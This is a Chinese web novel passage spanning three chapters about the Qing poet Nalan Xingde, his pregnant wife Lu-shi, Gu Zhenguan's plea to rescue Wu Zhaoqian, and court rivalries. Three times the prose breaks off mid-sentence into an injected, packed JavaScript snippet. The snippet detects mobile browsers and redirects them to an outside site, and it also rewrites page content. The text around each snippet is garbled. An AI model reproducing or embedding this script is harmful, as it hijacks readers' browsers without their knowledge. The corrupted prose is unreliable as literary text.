“嗯,我会自己考虑。”容若看向正妻的房间,“尽量做到国事和家事都不误。” 回到卢氏身边,容若见爱妻已经睡下,便为她拉了拉被子,轻手别过她的刘海,在她耳边从心里默默道出一句“睡好”之后,才放下床帘和熄灭附近的烛台。 来到不远处的长榻躺下,容若瞧见窗外的月色正好。 因怕晚风凉,他将窗叶半掩,合被侧卧睡去。 * 第二日,“饮水词歌·素菜馆”中。 纳兰容若向沈宛分享了自己即将再得贵子的喜悦。 沈宛自然是为容若高兴,“公子的妻妾皆是有所出,明府定是喜气洋洋,这会儿我都能够想象明珠大人的神情。” 容若笑道:“阿玛是打着心底里高兴,同时,他也有种纳兰家胜过了索额图一家的感觉,索额图的两个儿子都未娶。” “难得见公子在谈及仕途时会笑,索额图的两个儿子毕竟是各自领了正经差事在做,他能够拿出这一点来对恁明珠大人。公子不与别人比青云之路,才会露出笑颜。” “我心中,情场和官场不分轻重,只是当下,我陷在情场之中多一些。” “公子也是日渐发觉卢氏夫人的好的,别人只当纳兰性德与卢氏是因小日子美满才恩爱似漆,我却知道对公子而言,正妻有三大优点。” “哦?”容若感兴趣地弯起嘴角,“是哪三点?” “第一,赌书泼茶,寻常相悦,时光恍惚记忆长;第二,被酒睡重,相互尊重,三月病来自得消;第三,环珏扑蝶,小袖盈香,踏马扬鞭,新姿难忘。” “宛卿说的,都是我写在词中的生活场景,算不得是卢氏的个性。” “聪慧贤淑,才能与公子较量学识;互通所想,才能与公子心有灵犀;秀外慧中,满汉皆能,才能与公子情投意合。在我看来,这是卢氏夫人的优点,也是她的个性。” “宛卿你呢?” 沈宛原本以为容若是想问:“你有什么优点?” 却不料,容若说出的是:“你觉得我有什么优点?” “公子的优点数不尽。”沈宛俏皮道,“真要一言概括,那就是:好的性子、好的风度、好的文墨、好的出身全都归了纳兰性德,天下年龄相近之辈,都还剩下些什么?” “自由。他们有纳兰性德所没有的自由。” 容若说出这句话的时候,不知怎的心中涌出了难过的情绪。 沈宛捕捉到了容若的心事。 她一边怪自己把话说的太快太直接了,以至于容若没接住也没接对;又一边后悔自己就是改不掉让容若“忽地心事上头”的毛病,让他由人及己,伤神多思。 “我知宛卿你是无意的。” 容若吃了一口鲜花饼,让甜馅儿来平抚心绪。 “是我自己常常纤细敏感,改不了这不似满洲男儿的性情。”容若看她,“其实听到宛卿你这么说我,我心里很高兴。宛卿心中的‘纳兰公子’,跟众人心中的‘天下的纳兰公子’不同。” “所以,公子可否允许我说一句真心话?” “你我之间,哪有许不许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孝庄看向顾氏,和颜悦色道:“芷清你是开朗且懂得商道的,你阿玛在朝中为皇上效力,你在家中担负着家计之责,老祖宗我都是明明白白的。曹寅也不小了,娶妻过后就是个顶天立地的大丈夫,你要早些为曹寅延续香火才好。” 顾氏直爽道:“夫君跑外勤跑的多,不然就是在宫中当值,值刻表安排的满满当当,要说与芷清一同行夫妻之事的光景,也是不多的。只求老祖宗给个恩典,等待夫君从漠北蒙古回来之后,能够告假休整时日,多多在家中尽孝和陪伴芷清。” 孝庄回头看了苏嬷嬷一眼,道:“我便是喜欢顾氏说话直接,等到曹寅归来,就由我做主,准了他休假。” 顾氏和曹寅齐声道:“谢太皇太后。” 曹寅为孝庄送上了:装着六颗上等品质的玛瑙珠子的锦盒。 “奴才和夫人祝老祖宗吉祥如意,四季平安,永享尊贵。” “玛瑙是佛教的七宝之意,有着长寿的寓意。”见太皇太后收下了礼物,苏麻喇姑对曹寅夸道,“曹侍卫总是能把好礼送到老祖宗的心坎上。” “老祖宗福泽深厚,奴才这一程,既是带着皇上的天恩、又是有着老祖宗的恩泽,双双加持,危机必将化险为夷,灾难必将披靡破浪,不胜感激!” “曹寅啊,我们蒙古出身的女人,的确是爱玛瑙。”孝庄道,“当年我出嫁的时候,阿玛和玛法就是选了十二条玛瑙链子作为嫁妆之一,盼着我十二个月、年复一年,岁岁美满,岁岁长相安。” 说罢,孝庄又叫苏麻喇姑去取一支孔雀羽的短箭过来。 她亲自赠予曹寅,道: “一箭双雕之事,尽而知天意;一箭双雕之任,行而知其重;一箭双雕之计,用而知其道。” “此程风雨,保重自己。” 曹寅双手接过孔雀羽短箭,谢恩道:“奴才不会辜负老祖宗的嘱托!” * 却说夜间,在漠北蒙古的小型营帐之外,隆科多正与十二名亲信围着篝火而坐。 “佟佳大人骁勇,终于是让三部族归顺大清,想必恩旨到前,佟国维大人和意妃娘娘已经已经沾喜同乐了。” 隆科多冷笑,抬头吸了一口月色下的冷空气。 “在你等面前我不必瞒着,阿玛指不定在心里不知如何嘲讽我:‘隆科多前有谎称中箭之搬石砸腿的糊涂邀功之请,后有真刀真枪的立功报国之举,将功赎罪罢了,我佟国维受不起那些因子而来赏赐,都分拨给家中的其他人吧!’ ” “姐姐景茵珠向来就是个大家闺秀,阿玛将她当成大清国的皇后来培养和教导,又有我透过德嫔的‘得圣心之法’来说与她听,她得到皇上独宠是应该的。只是她会不会在皇上耳旁为我这个弟弟说句‘尽早回京’的话,也是不大可能的。” “曹寅曹侍卫等人,正往咱们这来呢!没准他就带来了让咱们凯旋回京的圣旨!” 隆科多甩了甩垂地的辫子,发尾处,竟然绑着一个不为人所知的、旧时德嫔相赠的红珊瑚装饰珠。 ——我隆科多出行,阿玛佟国维和姐姐景茵珠,甚至是额娘,谁给我一个保平安的好东西? ——倒是德嫔言冷心温,情断意牵,将我的生死惦记着。 “珊瑚啊珊瑚,祥瑞幸福……心上的姑娘,眸似秋湖……少年郎的马鞭,抽向征途……彼此的誓言啊,哪管世俗……” 隆科多在篝火侧哼歌。 星野广阔,月色存温,最是无端生情愫。 红珠红妆,黑发黑眸,意气少年思红颜。 167.第167章 容若思索着,正妻怀孕期间,家里不宜过多宾客来往,便决定减少与众文人朋友在渌水亭的会面。 一日,“庄周梦蝶”字画店内。 张姓书生对周之捷周老板道:“学生按照周老板你所言,多来贵宝号瞻仰纳兰容若真迹字画,奈何未见他本人和曹寅曹侍卫出现,不知何故?” 周老板笑道:“张生你有所不知,明府又要添新丁了,纳兰公子自然是走不开,而且平日里往来于渌水亭谈文论道、吟诗作画、联句唱和的文人们,也依礼暂时不去明府打扰,一切以纳兰公子的子嗣为重。” “至于曹寅曹侍卫,”周老板继续道,“人家是领了皇命,出了紫禁城办事去了。他执行什么君命,就不是你我这些平头百姓能够知道的了。” 这时候,顾贞观前来。 他抓着周老板的半只手臂,感泣道:“顾某近日收到音讯,挚友吴兆骞在宁古塔伶仃孤苦,劳役繁重,已经是比实际年龄还要再老十岁。唉!顾某只怕吴兆骞动了寻死的念头,弃我而去,一切为时已晚。” 周老板清醒劝道:“顾先生,你来我面前抒发对挚友的关切之情也无用啊!” 周老板又指了指纳兰容若的字画,“即便是你从那些名品当中顿悟了救友之法,你也没法长途跋涉去实地就吴兆骞。你要是真担心吴兆骞不想活了,还不如就在我和张生面前坐下,拿了我这里不要钱的笔墨写下书信一封,托信得过的人送到吴兆骞手里去。” “是……是,周老板所言极是。” 顾贞观就老老实实地坐下来写字。 谁知这一封洋洋洒洒近两千字的书信,才费了半晌写好,顾贞观就看见了骑马而来、不知何故又穿上了官服、戴上了朝珠的徐乾学的身影。 顾贞观站了起来,“徐乾学,你停马在外,居高临下地看着顾某,是在打什么主意?看顾某上京六载,还一事无成的笑话吗?” “路过,本官只是路过……”徐乾学嬉皮笑脸,“顾先生你这么敏感做什么?” 徐乾学从马背上跳了下来,“本官即便是要看,看的也是爱徒容若的墨宝,几时轮得上你才貌平平的顾贞观?” 感觉自己受到了轻蔑,顾贞观走到了徐乾学面前,开始拎出近来宫里传出的消息来指责徐乾学。 开口之前,顾贞观不忘拉拢上了一批同样在字画店内做客的江南书商们,来做自己的背景板和底气墙。 “顾某和众书商早就听闻,纳兰性德有意向出版《饮水词》和《侧帽集》,还有民间乐坊自发为他的词集谱曲,但如今皇上却让翰林院众人校对与重新注解《纳兰词集》,耗时之久,不可定论,难叫众书商消忿。” 在店里的附和声中,顾贞观指着徐乾学对身后的众书商道: “照顾某看,怕不就是徐乾学在康熙皇帝跟前进了谗言,才导致了今日局面:翰林院整体为不该忙活的事情而忙、民间书商有苦难言、乐坊曲调难成,其自身却再次官服加身,威风来炫,实在是不知廉耻!” 这下子徐乾学急了:眼前的顾贞观振振有词,说的众人信以为真,然而此事却是当真跟自己无关。 徐乾学“哼”了一声。 “本官要是有顾贞观说的本事,何需叫皇上下令:翰林院集体重心转向爱徒容若的词集?直接说了爱徒容若沽名钓誉、好大喜功,不但在《通志堂经解》中自书大名,更在文人画中借古讽今,岂非要得更直接?更彻底?” 众人对徐乾学指指点点: 就好似一个人,活生生地把自己的真面目展示出来了一样,当中的卑鄙与龌龊,好是作呕。 “徐大人。”周老板叫了一声,“您还有别的话要说没有?” “本官是清白的!”徐乾学故作正经地清了两声嗓子,“你们这些商人的生意做不成,那是纳兰性德跟你们这些凡夫俗子缘浅、词作只配给康熙皇帝消受,休要怪到本官头上。” “徐大人,请吧——”周老板吩咐店里的堂人去牵马,“马儿都等不及了呢。” “本官是清白的!”徐乾学再次强调,“本官挨了教训之后,到现在为止,没有做过一件坏事。” “徐大人,您这口吻,”周老板环视了店内一圈,“可是让众人都觉得您准备去做坏事啊!” “本官懒得跟你等辩解。” 言罢,徐乾学上前几步仰头下目地瞪了顾贞观一眼,亦是提醒又是心机,道: “顾先生你最好好自为之,别因为自己的鲁莽,把本官的爱徒容若给害了……” * 将近黄昏而未近之时,天际是一抹微妙的贝壳光彩色。 容若站在渌水池侧赏了一阵子“抹色流光”之景,心中涤荡着斑斓意境,如同有一只彩蝶停在胸间,轻轻扇翅,微动触角。 容若剪了些耐看的夏花,放入装了清水的透明瓶中,带往卢氏房中。 以前他不懂“人比花娇,人输花香”这个八个字的含义,总觉得: 花朵的姿态和模样都是自然美,怎会差过人的后天脂粉涂抹与故作姿态的刻意美呢? 香料人可制、香粉人可调,用量和方子决定了香的浓淡与轻重,怎么输给不能主宰天生而来的气味的长短与厚薄的花朵呢? 现在走着走着,想着想着,看着看着,他却是懂了。 ——以前是我对尔谖误会的深,以为她在冬季制作可以乱真的假花、是为了讨我欢心和求我夸赞,这会儿倒是认清了糊涂的是自己。 ——女子为了追求爱意永存,比拟永生花也是有的。人比花娇,实则朱颜短暂,娇态难永恒;人输花香,无疑手制之香可的长久,鲜花之香留而不得。 “尔谖看得比我清楚。” 容若这般嗔笑自己,然后把握在手中的瓶中花取出,放在了房门外的栏轩上,只带了盛着半瓶水的花瓶入室。 * 单手推开门的那一刻,容若十分惊讶,亦十分惊喜。 他驻足,看见: 卢氏挪了一张不大不小的新制方桌到窗边,桌上放着一盏素铜底台支起的圆盏,圆盏之中,添加了已经调入过香料的灯油。 一根抹银色的灯芯浮在灯油之上,稍稍漏出圆盏的侧沿,却是极具美感,好似顾恺之画作当中的:柳叶遮眉,生动细致的容若无法用恰当的词句来描述。 容若不知不觉地走近,已然忘却自己手中还握着一只花瓶。 他站着,眸光温润地落在素铜灯台上,不忍坐下。 琉璃花瓶之无意识放下,片手之感极而触安静摆件,那是一份朴素的美、一份恬静的好、一份可遇而不可求的缘,三者同聚一桌间、双人中,难得温落心情、难得惜存记忆,须珍重。 卢氏不快不慢,照着她的节奏开窗的那一刻: 容若燃灯相引,温柔的带着三层过渡色的火苗安之若素,安然对斜阳。 瓶身琉璃采光,交融着反射着同时又接纳着守护着夕烧【注1】,相得益彰。 容若的嘴角渐起笑容,感动于爱妻所营造出来的好氛围中。 挑灯引斜阳,洒墨却输新词一篇章。 飘带随风起,灵动也归静中一盏香。 “尔谖。”容若唤着爱妻的名字,“谢谢你。” 卢氏回眸转身,近容若,“我瞧公子近来晚睡早起,连着黄昏的时间也少有空余,就想着陪伴公子一起静赏夕阳、静闻盏中香。” “唯有你,才能深得我心。” 容若与爱妻相并而坐,对素铜明灯,对窗外落日。 “只是公子心注定了不能被情事和国事多全占,以至于公子苦恼于剩下的缝隙之中,该填补些什么?” “诗词文章不足以度平生,花鸟鱼趣不能够随一世。”容若半身霞光半身影,“空出来的部分,就让它空着吧!是我自己不愿意去补它。” “尔谖希望自己知夫君所想、解夫君心事,填补公子心阙之外的荒芜。” “要是我有意藏着,或是你想的对也解的对,我却偏不承认呢?” 容若趣问卢氏。 他的神色明朗轻快,内心则有着不为她所知的自留地。 地面之上,是他所耕耘的或富饶或贫瘠的方寸海山、所布局的或晴朗或黑白的上下乾坤、所不能轻易供认的或实存或虚幻的左右愁绪。 卢氏道:“那我会把自己当作与公子同在的拓荒者,不求心田春华秋实,只求一隅长空无云,朗朗为尘世烟火。” “云霞与空锦说如是。”容若指向天外,“我心缝隙亦说如是。” 时光细长,只记今日灯引斜阳。 人如旧,话还温,只是夜色降,茫茫复苍苍。 容若未动,未动的不止是身躯,更是自己所独有和所独品的情境。 ——我终究是被尔谖所珍惜着的。 ——从情到境,由境生情,情境情境,入情含理,专注相悦之境。 “尔谖你从未负我,我亦永不负你。” 容若在卢氏耳边说出了这句话。 * 次日。 容若在天微亮时醒来,却发现卢氏起的比自己还早,正坐在镜前借着烛光梳妆。 容若轻步走到卢氏身后,在镜中映出了自己的模样。 “夫人,我怕汉人朋友出入频繁,会打扰你休息,就叫了他们隔段时日再来。哪想你却闲不下,又是为我引来无限好的黄昏夕阳、又是起早为我熬煮莲子百合粥。” 容若看向正冒着气的、放在通风处的小炭炉上面的砂锅,接着清香味推测出了里面的美味。 “公子忘了?今日是无量仙君的诞辰,民间是有熬粥的习惯的。一碗好粥,清心正气,素养醒神,最是应该照着公子的喜好来提前准备和浸泡食材。心意到,食材到,煮出来的粥才能真正暖公子的胃。” 无量仙君? 容若不记得九重霄里住着这么一位神仙。 他就知道,这是卢氏有意说与他听的,像是福慧无量、前途无量、定性无量……之类的好意头,不就是她的侧面回应吗? 是那个时候的话题,今日自己终于从爱妻的行动得到了答案。 ——尔谖,你觉得我是现在进宫谋差事好?还等到咱们的孩子出生以后,再做打算? ——希望公子得无量三宝,在君侧有佳策可出,以大清和康熙皇帝为重。 卢氏按握着容若放置在她的肩膀上的手,对着镜中的一双人,道: “家中有粥可温,有煮粥人常在,妾身以一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14817678|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗‘清然’粥为礼,期盼夫君早日立业,不负大好年华。” 容若亲自为卢氏戴上了芙蓉钗,含笑凝看,眼前人镜中人,皆美好。 及坐到桌前,容若接过了卢氏舀盛的莲子百合粥。 捂着一颗温热的心,静静喝完。 容若置碗回味,情意无穷,爱意连连。 他真诚地对卢氏道: “我对夫人有三谢。一谢夫人识大局,心有容若心怀天下;二谢夫人有器量,包容容若为重家门;三谢夫人端品行,内贤容若外迎嘉宾。” * 卢氏顺着容若的话道:“公子提到‘嘉宾’二字,就应如旧在渌水亭邀众文友来聚才是,无需为尔谖而自削乐趣。” “只是文人们难免高歌与抒怀,酒饮尽兴之际,狂肆性情,我怕惊扰了你。”容若看着爱妻,“又或是阿玛和额娘,也是不想府上多生动静。” “袖云妹妹怀胎之时,公子都未做如此顾忌,为何换了尔谖,公子就处处为了‘安宁’二字而拘谨着?” “这不一样,你是正妻,怀的是我的正妻之子,就跟皇上对嫡妻嫡子也格外重视一样,祖制和情意都摆在那里。” “我早已将公子的兴趣和雅趣当作是日常生活的不可或缺,公子能与文人墨客们尽兴,好文章多出,是陶冶性情和裨益大清的好事。渌水亭是难得的好地方,不似市井吵杂,不似密林偏幽,这里的景致和回折,最适合举办集会。” “尔谖,你看的透彻的:不止是我、更是渌水亭的存在对我而言的真正意义。” “是。渌水亭是公子自幼成长之所,保存着一切轨迹;也是公子成年后的施才逢人之所,文人们心生向往,公子也愿意相迎。” 容若心情欣朗:“如此我便是放心。” 卢氏拉过夫君的手,轻抚肚子,微低着头,道:“尔谖也想尝尝参与渌水亭集会之中,让腹中的孩子沾沾书香气。” “好,你也一并来。”容若兼爱顾及着正妻,“总闷在房间里也不好,渌水亭养人养景,聚天下文人,日后咱们的孩子海亮,也一定是个学富五车的大学问家。” “胜过公子?” “胜过自身的极限,就是最佳。” 容若想到了先秦经典《鹿鸣》里的一句话:我有嘉宾,鼓瑟吹笙。 这般四方贤才共临的场景,惠风和畅,何其快哉? 承蒙汉人雅士不弃,愿与我这个满人切磋琢磨;承蒙爱妻卢氏共鸣,给予我这个夫君秉性逍遥。 万般皆我幸,闹中取安宁。 最是高谈日,渌水动精灵。 * 渌水亭再为文人们“开放”的消息传出来时,最为激动的莫过于是顾贞观。 徐乾学不忘在“花鸟风月楼”的场子中泼顾贞观一头冷水。 “顾先生你高兴什么呢?可别理解错了,明府是高门广厦,所谓的‘文人往来’,是指我爱徒容若的汉人朋友才有资格进去,不是随随便便一介布衣,自以为怀了能写诗作词的本事就能畅行无阻的。” “本官再跟你讲清楚了,爱徒容若的‘汉人朋友’,也就相当于是明珠大人看的顺眼、对明党有益、对满汉之策有利的,至少当了个小官或是在某一领域有影响力之人,像是:严绳孙、张纯修、梁佩兰。” 徐乾学冷笑两声,“而不是你顾贞观!成事不足,索取有余,自私自利!” 所谓:道高一尺,魔高一丈。 徐乾学用言语往顾贞观身上泼冷水,观贞观则是真的拿起了桌面上的冷水泼在了徐乾学的脸上。 在徐乾学骂骂咧咧、含糊不清的疯叫声中,顾贞观叉腰而怼: “顾某之所以踏不进去明府的门,不是因为身份不配,而是明珠父子出于自保和对顾某的警示,才至今未与顾某深交。” “顾某如今,就是要当着你徐乾学和楼内众人的面,将自己的心志明明白白地表现出来:我顾贞观这一生,一为救友吴兆骞,二为交友纳兰性德,能成此二事,死而无憾!” 包括楼主张纯修在内,众人皆向顾贞观投去了佩服的目光和激励的掌声。 一时之间,楼内的形势扭转为: 顾贞观占了上风,徐乾学自取其辱。 渌水亭从一处天下文人向往的高岭之花场所,变成了纳兰性德胸襟开阔、能容诸生之圣地。 张姓书生道: “顾先生寥寥数语,叫学生等人领悟的深啊!渌水亭就是纳兰公子的化身,包含着纳兰公子的灵魂、心志、情怀。” “学生等人自知分量,非有迫切之事和惊世之才,是万万不敢登门打扰公子的。学生等人亦不妒能进渌水亭之人,唯是感慨:纳兰公子之长廊亭台、风烟芙蕖,不知胜过徐大人家的汇贤亭多少倍?” 有一宾客起哄:“某听闻徐大人家的汇贤亭,宁愿养鸟也不肯放进一个布衣来,可惜可惜啊……” 徐乾学嚎啕大哭。 倒不是因为场子里的言论,而是哭那只咬舌死去了的鸟儿。 ——本官本应如金乌,燃尽毕生学识,桃李不言而成蹊。 ——今却是疯嚎如苍狼,不知与顾贞观何多争?可气,真是可气! 【注1】夕烧:指夕阳。 168.第168章 索额图带着皇命南下视察福建水师之日,恰逢一批购自海外的洋船零件到货军队营中。 自小尊着八旗制度和祖宗家法长大的索额图,对那些“洋货”自然是不认得、也不放在眼里。 唯有一句话,差点让他气诧地咬到自己的舌头。 施琅将军道:“索大人,你家二公子格尔芬受了一等公朴尔普家格格云辞的影响,早在一年半之前就向英吉利订购了这些东西。海途遥远,海策森严,今日才送到。” 索额图敢怒不敢言—— “洋船零件”之事要是被施琅将军写成折子呈递给了康熙皇帝,那么私涉军备器械者就是索党一派,而非明党了。 这些个洋钉洋钳洋起子,可是坐实了未经康熙皇帝允许、就送到了福建水师用作军械之名啊! 岂是纳兰性德那首《浣溪沙·败叶填溪水已冰》里的“短长亭”,被康熙皇帝硬说成“烽火台”能比的? 货重词轻,器实词虚,船是寺非,欲辩还难。 硝烟未有,气味先闻,始作俑者,终将自栽。 索额图心中,既悔恨,又憎恶: 当初自己就不该在康熙皇帝面前多言明珠父子“积累财富,疑似购置火器”之事,现在报应到了自己身上,说到底还是格尔芬眼里没有自己这个阿玛! 索额图想明白了: 格尔芬的心,还是向着纳兰性德和官云辞,一个是他自认的兄长纳兰兄,另一个是他爱而不得的不流世俗的女子,不管怎么样,能结交,他就认为是自己几辈子修来的福气了。 难怪格尔芬让本官把长子阿尔吉善的书信交给皇上看,原来是时至今日,留了这么一手,真是狡猾极了,连本官也狠狠骗过。 见施琅将军在军帐中岿然不动,索额图只好坐在了侧坐上。 施琅将军叫了人给索额图端上了一杯福建的名茶:武夷大红袍。 “索大人,这茶你喝着可觉得还不错?” “本官常在北方喝产自杭州的茶,都作了习惯。今日只当是逢遇地方特色,将新茗润喉,也是得当。” “这茶啊,洋人们念作tea,福建人念作dei,说到底还是学了咱们的文化。”施琅将军笑了笑,转而道,“本官特意挑了一包上好的,已经托人送往贵宅邸给索二公子品尝了,就是不晓得他有没有对你这个阿玛说?“ 索额图只感到尴尬,也分不清施琅所言是真是假了,匆忙应道:“宁可食无肉,不可不饮茶。本官深感闽南茶道之风,也多谢施琅将军让犬子共赏。“ 转入正题,施琅将军问:“不知索大人这番前来,所为何事?” 索额图为了不节外生枝,让自己受了儿子的牵连,生出康熙皇帝更大的疑心来,就一句都没提“测试施琅是忠于明珠?还是忠于皇上?”的话,只带着夸奖的口吻道: “施琅将军你常驻沿海,严加练兵,严把海务,每次出航,每次演练,都是在扬我大清国威,长皇上颜面!” “本官这次来,就是来向你转达皇上的问候的。皇上格外重视海务,也格外重视能够担当得起‘海战指挥’和‘战舰驾驭’的人才,时常在朝堂之上夸赞施琅将军你和水师全军。来日皇命传来,攻打台岛之时,还请施琅将军你身先士卒,最上领衔,一鼓作气赢个胜仗啊!” 施琅将军平静问:“这到底是皇上说的,还是索大人你的一面之词?” 索额图赔笑道:“本官可是全心全意指望着——福建水师能够在收复台岛的战役中,发挥大作用的!施琅将军你就算是不信本官所言,也要将本官的那些话说给你手下的将士们听,以鼓舞士气和让将士们感受到天子的恩念啊!” “好!”施琅将军识趣道,“请索大人替下官和众将士谢过皇上。” “这是自然。”索额图正了正衣领和朝珠,“施琅将军,何时带本官去视察营外的练兵之所啊?” “不急不急。”施琅将军淡定道,“索大人方才饮了茶,醒了神,这会不如先去营中吃饭如何?” “好,好。”索额图忽然觉得饿,“本官就先吃饭和做休整之后,再行视察之事。” * 这天夜里。 安顿好索额图和确定索额图已经在特设的帐篷中睡下以后,施琅将军才留了四员士兵在自己的帐外看守,不让任何人打扰。 灯下沉思, 越是安静越是能够看透人心。 如果说自己是个武夫,那么这数年来与明珠大人家的容若公子的书信来往,就彻底改变了自己,好似“士别数载,当刮目相看”一般,自己已经脱胎换骨,变成了一个有勇有谋之人。 仕途险恶,敌情难测,康熙皇帝的意思更是难懂,世间唯有纳兰容若可信。 当下索额图不打招呼而来,只言:带着康熙皇帝口谕,探营观演,以眼见为实之景来给皇上回话。不见圣旨,也不见与康熙皇帝相关的凭据之物,着实是可疑。 所以自己是万万不可出差错,不可暴露出一丁点真实的忠心来。 施琅将军在心中暗想: 康熙皇帝是在跟纳兰容若赌谁的心思缜密吗? 以我做赌注,我要是忠于大清,万事皆好;我要是倾向明党,则康熙皇帝隔岸观火,必将让索党制踩明党。 这位天子,一个冬季没把纳兰容若留在身边,定是想通过此事借机来让纳兰容若臣服于他。天子盼着我施琅来当这个导火索,真是手段用尽! 所以我不能让明党步入危机,不能让纳兰容若为了请求康熙皇帝宽恕明珠而低头、无条件为康熙皇帝所用。 施琅将军站了起来。 背着双手,仰着头,一腔真心话满胸: “我施琅,一生之志在于海,一世英名在于战,海战之功,绩存高远,顶天立地,无愧于心。” “我施琅,定不负纳兰容若,定要将公子所不能登临战舰之上施展的抱负,一一为他实现,为他见证。” * 顾贞观穿着一身新裁的衣服,打起了十分精神,前往明府求见和拜访容若公子。 对此,明珠没有做过多干涉,只提醒容若自己注意,聊文章归聊文章,聊政事归聊政事,勿要本末倒置。 容若说好,自己会把握分寸,不轻易应允顾贞观的请求,让自己执念、让阿玛为难。 于渌水亭中坐下,容若首次与顾贞观面对面而谈。 “顾先生来找我,动因我都明白,天下人也都明白。所以成德会记下顾先生之所盼,待到时机成熟,再尝试出力。” “公子,我这人不会说好话也不会说奉承话,只带着鲜明目的而来,却不想己之所说已经全然被公子所感知,唯有《金缕曲》两首,请公子当面阅看,以尽致自己此刻的淋漓心情。” 容若礼貌地伸出双手,接过了顾贞观递上的两份信纸。 展信之际,映入眼帘的第一句,就让容若觉得情深意重,未看罢全篇而先有了感泣之心弦。 《金缕曲·其一》 季子平安否?便归来,平生万事,那堪回首!行路悠悠谁慰藉,母老家贫子幼。记不起,从前杯酒。魑魅搏人应见惯,总输他,覆雨翻云手,冰与雪,周旋久。 泪痕莫滴牛衣透,数天涯,依然骨肉,几家能够?比似红颜多命薄,更不如今还有。只绝塞,苦寒难受。廿载包胥承一诺,盼乌头马角终相救。置此札,君怀袖。 《金缕曲·其二》 我亦飘零久!十年来,深恩负尽,死生师友。宿昔齐名非忝窃,只看杜陵消瘦,曾不减,夜郎僝僽,薄命长辞知己别,问人生,到此凄凉否?千万恨,为君剖。 兄生辛未吾丁丑,共此时,冰霜摧折,早衰蒲柳。诗赋从今须少作,留取心魄相守。但愿得,河清人寿!归日急翻行戍稿,把空名料理传身后。言不尽,观顿首。 * 读罢合信,心有千斤顶。 容若在复杂的心情中,问:“顾先生,若我说十年为期,必让吴兆骞回到京师,你是否觉得久,希望将时间缩短为五年?” “以前我会说是,现在我不敢。”顾贞观小心地观察容若的神情和心情,“公子比我活的明白,也比我看的透彻,定是有自身的战略部署,我急也无用。” 容若平和问:“顾先生,你可知道自己上京六年以后,‘救友’之事一直办不成,到底是错在哪儿?” 顾贞观自以为然,道:“顾某一无背景,二无人脉,三无钱财打点人际场子,只晓得鲁莽求人,一求再求,春秋过境,百姓尽皆知,才到了今日山穷水尽的地步,还请公子莫要笑话。” “我不笑话你,也从不笑话任何人。” 容若斟了一杯黄山毛尖来请顾贞观饮,然后道: “顾先生你口口声声说一个‘救’字,这就是最大的错误。‘救’等于是明着说先帝顺治爷有错,谁也不想担个大不敬之罪去为你说话。但你要是愿意听成德一眼,改口说一个‘赎’字,凡事自会有转机。” “公子的意思是叫顾某四方筹钱,来将吴兆骞从受罪之地买回京师吗?”顾贞观当机立断地摇头,“文人要风骨,尊严岂是钱财践踏之物?” “顾先生你误会成德的意思了。”容若不生气,反而更加平静,“吴兆骞得救,相当于是顺治朝冤案平冤昭雪,康熙皇帝的颜面挂不住;吴兆骞得赎,则是未改变顺治皇帝的定论,保证了康熙朝的正威,也不会使得以徐乾学为首的、主张‘慎社交’的文人们大肆举旗反对。” 顾贞观一拍脑门,大彻大悟。 ——原来容若公子的意思是这个:让吴兆骞返还京师,而非赦罪归来。 ——如果钱款上交之后,能够经由纳兰父子打通刑部、工部、户部的关系,从康熙皇帝手中换得一份“赐归公文”,的确是再好不过了。 观贞观起身,正要对公子一拜,却被公子接住双臂,“顾先生不必行此大礼,成德辈分小,受不起。” “千万里人生,黯然销魂别。我且愁君君不归,明月夜,枉流年,滔滔江水几度秋?顾某愚钝,愚钝啊!” 顾贞观垂泪不止,“这六年以来的无用功,纵使是被后世之人贻笑千百年也不足惜。唯有公子今日的一针见血之言,让顾某如梦初醒,思量前程打通后路,知晓了努力方向。” 容若握着顾贞观的手,恳切道:“然诺重,君须记。” 顾贞观哽咽着:“多谢公子……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14822448|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 彼此了罢其他话题,饮罢暖茶,又在渌水亭长廊走了一个来回,共赏左侧芙蕖与右侧明开夜合花之后,容若亲自送顾贞观到明府门外。 “怎敢劳请公子派府上的马车送顾某归去?”顾贞观推辞着,“是顾某有求于人,不敢反接恩惠啊!” “顾先生,成德谢你敢直面挑衅徐乾学,也谢你能为大清成文章。”容若伸手请顾贞观上马车,“愿成德日后,与顾先生为生死挚友,一番情真,天地为鉴。” * 别友归来。 容若敲门,进入明珠房中。 明珠放下一把上好的苏扇,示意儿子到身旁坐下。 “顾贞观所托的事情,你答应他了?” “儿没有正面说一个‘好’字,只是给顾先生做了一番分析,让他先去筹款,再做后续观望。” “你倒是聪慧,钱这个东西呢,”明珠习以为常,“求人办事的路上少不得。别让顾贞观误以为是你我父子想要,而是日后会用在打点关系和当作赎金上就好。” “儿谢阿玛开明。”容若明白明珠的意思,“史册对‘赎金’有史册的说法,哪怕是记载纳兰性德是筹钱的主力也罢,明眼人自然能够辨析。” 